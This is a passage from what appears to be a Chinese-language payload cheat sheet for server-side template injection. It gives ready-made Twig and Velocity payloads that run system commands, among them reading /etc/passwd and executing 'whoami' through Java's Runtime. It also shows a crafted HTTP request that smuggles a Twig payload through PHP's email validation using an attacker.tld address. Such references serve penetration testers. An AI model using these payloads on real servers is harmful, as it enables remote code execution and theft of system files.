{{['cat$IFS/etc/passwd']|filter('system')}}
邮件传递 FILTER_VALIDATE_EMAIL PHP 的示例
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
上一页Xpath注入下一页命令执行

最后更新于2年前

这有帮助吗?